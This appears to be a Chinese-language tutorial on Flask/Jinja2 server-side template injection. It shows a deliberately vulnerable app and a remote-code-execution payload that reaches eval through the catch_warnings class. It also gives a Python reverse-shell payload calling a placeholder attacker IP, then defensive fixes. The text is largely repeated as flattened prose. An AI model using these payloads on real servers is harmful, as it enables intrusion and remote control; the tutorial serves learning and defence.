Flask SSTI漏洞复现及原理分析
字数 3117 2025-10-14 00:33:59

Flask SSTI(服务器端模板注入)漏洞详解与实战教学

一、 漏洞概述

1.1 什么是SSTI?
服务器端模板注入是一种严重的安全漏洞。当应用程序在渲染用户输入时,未经验证或过滤就将其作为模板代码的一部分进行解析,而非单纯的数据,攻击者便能注入恶意指令,最终可能导致服务器被完全控制。

1.2 漏洞产生的根本原因
开发者错误地将用户可控的输入直接拼接到了模板字符串中,然后交由模板引擎渲染。这混淆了“数据”与“代码”的边界。正确的做法应该是将用户输入作为“数据”传递给模板引擎进行变量替换。

1.3 涉及的技术栈

  • Web框架: Flask(一个轻量级Python Web框架)。
  • 模板引擎: Jinja2(Flask默认使用的模板引擎)。

二、 漏洞原理深度解析

2.1 模板引擎的工作机制
模板引擎的核心作用是实现业务逻辑(后端数据)与表现层(前端HTML)的分离。它通过特定的占位符(如Jinja2的 {{ ... }})在模板文件中标记动态内容的位置。当渲染时,引擎会用真实数据替换这些占位符,生成最终的HTML页面。

  • 正常情况Template("Hello {{ name }}").render(name=user_input)
    • 用户输入 user_input 被视为纯文本数据,安全地插入到 {{ name }} 的位置。
  • 漏洞情况Template("Hello " + user_input)
    • 用户输入 user_input 被直接拼接到模板字符串中。如果输入包含Jinja2语法,它将被当作代码执行。

2.2 从代码执行到命令执行
Jinja2模板的强大之处在于它支持复杂的表达式、控制语句(如for循环、if判断)和访问Python对象的属性。这正是SSTI危害巨大的原因。

攻击者可以通过注入的模板代码访问Python的基础对象(如字符串、列表),并利用Python的面向对象特性构建一条调用链,最终调用到能够执行系统命令的危险函数(如os.system)。


三、 漏洞环境搭建与复现

3.1 存在漏洞的Flask应用代码

from flask import Flask, request
from jinja2 import Template  # 导入Jinja2的Template类

app = Flask(__name__)

@app.route("/")
def index():
    # 直接从URL参数获取用户输入,未做任何过滤
    name = request.args.get('name', 'guest')

    # 致命错误:将用户输入直接拼接到模板字符串中
    t = Template("Hello " + name)
    return t.render()  # 渲染模板

if __name__ == "__main__":
    app.run()

3.2 漏洞验证与初步利用

  1. 运行上述Python脚本,访问 http://127.0.0.1:5000
  2. 基础测试:访问 http://127.0.0.1:5000/?name=World,页面正常显示 Hello World
  3. 注入验证:访问 http://127.0.0.1:5000/?name={{ 7*7 }}
    • ** payload**:{{ 7*7 }}
    • 预期结果:如果页面显示 Hello 49,则证明注入成功。Jinja2执行了乘法运算,表明用户输入被解析为代码。

四、 exploitation:构建完整的攻击链

目标是利用模板注入执行任意系统命令。关键在于如何从模板的“沙箱”环境中找到并调用os.system或类似函数。

4.1 攻击链构建思路
利用Python的反射机制,通过一个已知的Python对象(如空字符串''或空列表[])逐步访问到包含危险函数的模块。

标准攻击步骤:

  1. 获取当前对象的类

    • Payload: {{ ''.__class__ }}
    • 结果: <class 'str'>。我们知道了这个字符串实例属于str类。
  2. 获取该类的父类(基类)

    • Payload: {{ ''.__class__.__base__ }}
    • 结果: <class 'object'>。在Python中,所有类最终都继承自object类。
  3. 获取所有子类

    • Payload: {{ ''.__class__.__base__.__subclasses__() }}
    • 结果: 返回一个包含大量类的列表。这些是当前Python环境中所有继承自object的类。我们的目标是找到其中一个类,它能帮助我们获取到os模块或__builtins__(包含eval__import__等内置函数)。

4.2 寻找“跳板类”
在返回的子类列表中,需要寻找一个合适的“跳板”。文章中提到了 catch_warnings 类,它是一个常见且稳定的选择。

4.3 完整的命令执行Payload
以下Payload用于执行系统命令 id 并回显结果:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

逐行解释:

  1. {% for c in [].__class__.__base__.__subclasses__() %}: 遍历所有子类。
  2. {% if c.__name__ == 'catch_warnings' %}: 筛选出名为 catch_warnings 的类。
  3. {% for b in c.__init__.__globals__.values() %}: 获取 catch_warnings 类的初始化方法的全局变量字典,并遍历其中的所有值。__globals__ 是一个关键属性,它包含了函数定义时所在模块的全局符号表。
  4. {% if b.__class__ == {}.__class__ %}: 在这些全局变量中,筛选出是字典类型的对象。
  5. {% if 'eval' in b.keys() %}: 检查这个字典是否包含 eval 这个键。通常,这个字典就是 __builtins__ 模块。
  6. {{ b['eval']('__import__("os").popen("id").read()') }}: 从字典中取出 eval 函数,并执行一段Python代码:
    • __import__("os"): 动态导入 os 模块。
    • .popen("id"): 使用 os.popen 执行系统命令 id
    • .read(): 读取命令执行的结果。
    • 最终,命令执行的结果会通过 {{ ... }} 输出到网页上。

4.4 进阶利用:反弹Shell
为了获得一个交互式的Shell,可以使用更复杂的Payload。以下是使用 python3 反弹Shell的示例:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("subprocess").Popen(["python3", "-c", "import socket,os,pty;s=socket.socket();s.connect((\\\"YOUR_IP\\\",YOUR_PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\\"/bin/bash\\\")"], stdout=__import__("subprocess").PIPE, stderr=__import__("subprocess").PIPE)') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
  • 注意: 需要将 YOUR_IPYOUR_PORT 替换为攻击者服务器的IP和监听端口,并在攻击机上使用 nc -lvnp YOUR_PORT 命令进行监听。

五、 漏洞防御方案

5.1 根本方法:严格区分代码与数据
永远不要将用户输入直接拼接到模板中。应使用模板引擎的安全传参方式

修复后的安全代码:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    # 将用户输入作为变量n的值传递给模板,而不是拼接
    t = Template("Hello {{ n }}")  # 模板中使用安全的占位符
    return t.render(n=name)        # 通过render参数传入数据

if __name__ == "__main__":
    app.run()

这样,即使用户输入 {{ 7*7 }},也只会被原样显示为 Hello {{ 7*7 }},而不会被执行。

5.2 输入验证与过滤
对用户输入进行严格的校验和过滤,例如:

  • 过滤或转义模板语法特殊字符,如 { {} }{%%}
  • 使用白名单机制,只允许预期的字符(如字母、数字)通过。

5.3 使用模板引擎的安全特性

  • 沙箱环境: Jinja2等引擎提供沙箱模式,可以限制可访问的函数和属性,但沙箱逃逸技术依然存在,因此不能完全依赖。
  • 避免危险函数: 确保模板环境中不暴露或导入 ossubprocess 等危险模块。

总结
防御SSTI最有效、最根本的方法就是 “渲染时传参” ,彻底杜绝将用户输入当作代码解析的可能性。其他安全措施应作为深度防御的补充手段。


希望这份详细的文档能帮助您透彻理解Flask SSTI漏洞。如果您有任何疑问,随时可以提出。

Flask SSTI(服务器端模板注入)漏洞详解与实战教学 一、 漏洞概述 1.1 什么是SSTI? 服务器端模板注入是一种严重的安全漏洞。当应用程序在渲染用户输入时,未经验证或过滤就将其作为 模板代码的一部分 进行解析,而非单纯的数据,攻击者便能注入恶意指令,最终可能导致服务器被完全控制。 1.2 漏洞产生的根本原因 开发者错误地将 用户可控的输入 直接 拼接 到了模板字符串中,然后交由模板引擎渲染。这混淆了“数据”与“代码”的边界。正确的做法应该是将用户输入作为“数据”传递给模板引擎进行变量替换。 1.3 涉及的技术栈 Web框架 : Flask(一个轻量级Python Web框架)。 模板引擎 : Jinja2(Flask默认使用的模板引擎)。 二、 漏洞原理深度解析 2.1 模板引擎的工作机制 模板引擎的核心作用是实现业务逻辑(后端数据)与表现层(前端HTML)的分离。它通过特定的占位符(如Jinja2的 {{ ... }} )在模板文件中标记动态内容的位置。当渲染时,引擎会用真实数据替换这些占位符,生成最终的HTML页面。 正常情况 : Template("Hello {{ name }}").render(name=user_input) 用户输入 user_input 被视为纯文本数据,安全地插入到 {{ name }} 的位置。 漏洞情况 : Template("Hello " + user_input) 用户输入 user_input 被直接拼接到模板字符串中。如果输入包含Jinja2语法,它将被当作 代码 执行。 2.2 从代码执行到命令执行 Jinja2模板的强大之处在于它支持复杂的表达式、控制语句(如 for 循环、 if 判断)和访问Python对象的属性。这正是SSTI危害巨大的原因。 攻击者可以通过注入的模板代码访问Python的基础对象(如字符串、列表),并利用Python的面向对象特性 构建一条调用链 ,最终调用到能够执行系统命令的危险函数(如 os.system )。 三、 漏洞环境搭建与复现 3.1 存在漏洞的Flask应用代码 3.2 漏洞验证与初步利用 运行上述Python脚本,访问 http://127.0.0.1:5000 。 基础测试 :访问 http://127.0.0.1:5000/?name=World ,页面正常显示 Hello World 。 注入验证 :访问 http://127.0.0.1:5000/?name={{ 7*7 }} 。 ** payload** : {{ 7*7 }} 预期结果 :如果页面显示 Hello 49 ,则证明注入成功。Jinja2执行了乘法运算,表明用户输入被解析为代码。 四、 exploitation:构建完整的攻击链 目标是利用模板注入执行任意系统命令。关键在于如何从模板的“沙箱”环境中找到并调用 os.system 或类似函数。 4.1 攻击链构建思路 利用Python的反射机制,通过一个已知的Python对象(如空字符串 '' 或空列表 [] )逐步访问到包含危险函数的模块。 标准攻击步骤: 获取当前对象的类 : Payload: {{ ''.__class__ }} 结果: <class 'str'> 。我们知道了这个字符串实例属于 str 类。 获取该类的父类(基类) : Payload: {{ ''.__class__.__base__ }} 结果: <class 'object'> 。在Python中,所有类最终都继承自 object 类。 获取所有子类 : Payload: {{ ''.__class__.__base__.__subclasses__() }} 结果: 返回一个包含大量类的列表。这些是当前Python环境中所有继承自 object 的类。我们的目标是找到其中一个类,它能帮助我们获取到 os 模块或 __builtins__ (包含 eval 、 __import__ 等内置函数)。 4.2 寻找“跳板类” 在返回的子类列表中,需要寻找一个合适的“跳板”。文章中提到了 catch_warnings 类,它是一个常见且稳定的选择。 4.3 完整的命令执行Payload 以下Payload用于执行系统命令 id 并回显结果: 逐行解释: {% for c in [].__class__.__base__.__subclasses__() %} : 遍历所有子类。 {% if c.__name__ == 'catch_warnings' %} : 筛选出名为 catch_warnings 的类。 {% for b in c.__init__.__globals__.values() %} : 获取 catch_warnings 类的初始化方法的全局变量字典,并遍历其中的所有值。 __globals__ 是一个关键属性,它包含了函数定义时所在模块的全局符号表。 {% if b.__class__ == {}.__class__ %} : 在这些全局变量中,筛选出是字典类型的对象。 {% if 'eval' in b.keys() %} : 检查这个字典是否包含 eval 这个键。通常,这个字典就是 __builtins__ 模块。 {{ b['eval']('__import__("os").popen("id").read()') }} : 从字典中取出 eval 函数,并执行一段Python代码: __import__("os") : 动态导入 os 模块。 .popen("id") : 使用 os.popen 执行系统命令 id 。 .read() : 读取命令执行的结果。 最终,命令执行的结果会通过 {{ ... }} 输出到网页上。 4.4 进阶利用:反弹Shell 为了获得一个交互式的Shell,可以使用更复杂的Payload。以下是使用 python3 反弹Shell的示例: 注意 : 需要将 YOUR_IP 和 YOUR_PORT 替换为攻击者服务器的IP和监听端口,并在攻击机上使用 nc -lvnp YOUR_PORT 命令进行监听。 五、 漏洞防御方案 5.1 根本方法:严格区分代码与数据 永远不要将用户输入直接拼接到模板中。应使用模板引擎的 安全传参方式 。 修复后的安全代码: 这样,即使用户输入 {{ 7*7 }} ,也只会被原样显示为 Hello {{ 7*7 }} ,而不会被执行。 5.2 输入验证与过滤 对用户输入进行严格的校验和过滤,例如: 过滤或转义模板语法特殊字符,如 { { 、 } } 、 {% 、 %} 。 使用白名单机制,只允许预期的字符(如字母、数字)通过。 5.3 使用模板引擎的安全特性 沙箱环境 : Jinja2等引擎提供沙箱模式,可以限制可访问的函数和属性,但沙箱逃逸技术依然存在,因此不能完全依赖。 避免危险函数 : 确保模板环境中不暴露或导入 os 、 subprocess 等危险模块。 总结 防御SSTI最有效、最根本的方法就是 “渲染时传参” ,彻底杜绝将用户输入当作代码解析的可能性。其他安全措施应作为深度防御的补充手段。 希望这份详细的文档能帮助您透彻理解Flask SSTI漏洞。如果您有任何疑问,随时可以提出。